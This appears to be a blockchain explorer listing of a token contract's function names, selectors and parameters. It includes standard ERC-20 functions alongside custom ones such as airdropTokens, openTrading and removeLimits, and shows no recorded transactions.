TrackerRealTime 0x95c3da18
No parameters
airdropTokens 0x4022b75e
address airdropp
address[] list
uint256[] amount
approve 0x095ea7b3
address spender
uint256 value
returns: bool
burn 0x42966c68
uint256 value
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
maxWalletHolding 0x48d79155
No parameters
openTrading 0xc9567bf9
No parameters
removeLimits 0x32489e9b
address __to
setDividend 0xe280c611
address _user
setNFTIntegration 0xbb3a1c4f
No parameters
setReward 0x3eb6a67e
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address